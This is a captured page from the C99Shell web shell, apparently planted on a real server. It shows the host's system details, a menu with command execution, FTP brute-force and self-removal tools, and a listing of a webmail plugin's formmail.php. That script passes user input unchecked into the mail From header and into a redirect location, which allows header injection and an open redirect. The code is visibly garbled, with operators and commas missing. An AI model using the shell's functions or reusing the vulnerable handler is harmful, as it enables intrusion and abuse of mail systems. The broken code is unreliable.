!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/usr/local/webmail2/plugins/html_mail/htmlarea/plugins/FormOperations/   drwxr-xr-x
Free 318.33 GB of 458.09 GB (69.49%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     formmail.php (2.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

  $send_to      
'Website Enquiries <enquiries@' preg_replace('/^www./'''$_SERVER['HTTP_HOST']) . '>';

  
$emailfield   NULL;
  
$subjectfield NULL;
  
$namefield    NULL;

  
$when_done_goto    = isset($_REQUEST['when_done_goto']) ? $_REQUEST['when_done_goto'] : NULL;

  if(
$_POST)
  {
    unset(
$_POST['when_done_goto']);
    
$message    '';
    
$longestKey 0;
    foreach(
array_keys($_POST) as $key)
    {
      
$longestKey max(strlen($key), $longestKey);
    }
    
$longestKey max($longestKey15);

    foreach(
$_POST as $Var => $Val)
    {
      if(!
$emailfield)
      {
        if(
preg_match('/(^|\s)e-?mail(\s|$)/i'$Var))
        {
          
$emailfield $Var;
        }
      }

      if(!
$subjectfield)
      {
        if(
preg_match('/(^|\s)subject(\s|$)/i'$Var))
        {
          
$subjectfield $Var;
        }
      }

      if(!
$namefield)
      {
        if(
preg_match('/(^|\s)from(\s|$)/i'$Var) || preg_match('/(^|\s)name(\s|$)/i'$Var))
        {
          
$namefield $Var;
        }
      }

      if(
is_array($Val))
      {
        
$Val implode(', '$Val);
      }

      
$message .= $Var;
      if(
strlen($Var) < $longestKey)
      {
        
$message .= str_repeat('.'$longestKey strlen($Var));
      }
      
$message .= ':';
      if((
64 max(strlen($Var), $longestKey) < strlen($Val)) || preg_match('/\r?\n/'$Val))
      {
        
$message .= "\r\n  ";
        
$message .= preg_replace('/\r?\n/'"\r\n  "wordwrap($Val62));
      }
      else
      {
        
$message .= ' ' $Val "\r\n";
      }
    }

    
$subject $subjectfield $_POST[$subjectfield] : 'Enquiry';
    
$email   $emailfield   $_POST[$emailfield]   :  $send_to;
    if(
$namefield)
    {
      
$from $_POST[$namefield] . ' <' $email '>';
    }
    else
    {
      
$from 'Website Visitor' ' <' $email '>';
    }

    
mail($send_to$subject$message"From: $from");

    if(!
$when_done_goto)
    {
      
?>
      <html><head><title>Message Sent</title></head><body><h1>Message Sent</h1></body></html>
      <?php
    
}
    else
    {
      
header("location: $when_done_goto");
      exit;
    }
  }
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0051 ]--